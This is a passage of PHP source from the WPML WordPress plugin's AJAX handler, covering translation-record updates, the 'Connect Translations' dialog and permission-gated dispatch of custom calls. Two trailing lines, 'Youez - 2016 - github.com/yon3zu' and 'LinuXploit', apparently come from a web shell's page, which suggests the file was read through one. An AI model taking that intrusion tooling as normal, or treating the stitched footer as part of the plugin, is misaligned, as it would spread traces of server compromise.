					if ( $trid_element->original ) {
						$original_element_language = $trid_element->language_code;
						break;
					}
				}
			}

			$wpdb->update(
				$wpdb->prefix . 'icl_translations',
				[
					'source_language_code' => $original_element_language,
					'trid'                 => $new_trid,
				],
				[
					'element_id'   => $post_id,
					'element_type' => $element_type,
				],
				[ '%s', '%d' ],
				[ '%d', '%s' ]
			);


			do_action(
				'wpml_translation_update',
				[
					'type'         => 'update',
					'trid'         => $new_trid,
					'element_id'   => $post_id,
					'element_type' => $element_type,
					'context'      => 'post',
				]
			);

		}
		echo wp_json_encode( true );
		break;
	case 'get_posts_from_trid': // This is used by the "Connect Translations" dialog.
		user_can_edit_post_or_exit();

		$trid      = $_POST['trid'];
		$post_type = $_POST['post_type'];

		$translations = $sitepress->get_element_translations( $trid, 'post_' . $post_type );

		$results = [];
		foreach ( $translations as $language_code => $translation ) {
			$post                 = get_post( $translation->element_id );
			$title                = $post->post_title ? $post->post_title : strip_shortcodes( wp_trim_words( $post->post_content, 50 ) );
			$source_language_code = $translation->source_language_code;
			$results[]            = (object) [
				'language'        => $language_code,
				'title'           => $title,
				'source_language' => $source_language_code,
			];
		}
		echo wp_json_encode( $results );
		break;
	case 'get_orphan_posts': // This is used by the "Connect Translations" dialog.
		user_can_edit_post_or_exit();

		$trid            = $_POST['trid'];
		$post_type       = $_POST['post_type'];
		$source_language = $_POST['source_language'];
		$results         = $sitepress->get_orphan_translations( $trid, $post_type, $source_language );

		echo wp_json_encode( $results );

		break;
	// classes/ATE/Hooks/class-wpml-tm-old-editor.php
	case 'icl_doc_translation_method':
		user_is_translator_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
	// modules/cache-plugins-integration/cache-plugins-integration.php
	case 'wpml_cpi_options':
	case 'wpml_cpi_clear_cache':
		user_is_manager_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
	// inc/translation-management/translation-management.class.php
	case 'assign_translator':
	case 'icl_cf_translation':
	case 'icl_tcf_translation':
	case 'icl_doc_translation_method':
	case 'reset_duplication':
	case 'set_duplication':
		user_is_translator_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
	// inc/translation-proxy/wpml-pro-translation.class.php
	case 'set_pickup_mode':
		user_is_manager_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
	//inc/upgrade-functions/upgrade-2.0.0.php
	case 'wpml_upgrade_2_0_0':
		user_is_manager_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
	//wpml-string-translation/inc/wpml-string-translation.class.php
	case 'icl_st_delete_strings':
		user_is_translator_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
	//wpml-string-translation/classes/slug-translation/class-wpml-slug-translation.php
	case 'icl_slug_translation':
		user_is_translator_or_exit();
		do_action( 'icl_ajx_custom_call', $request, $_REQUEST );
		break;
}
exit;

Youez - 2016 - github.com/yon3zu
LinuXploit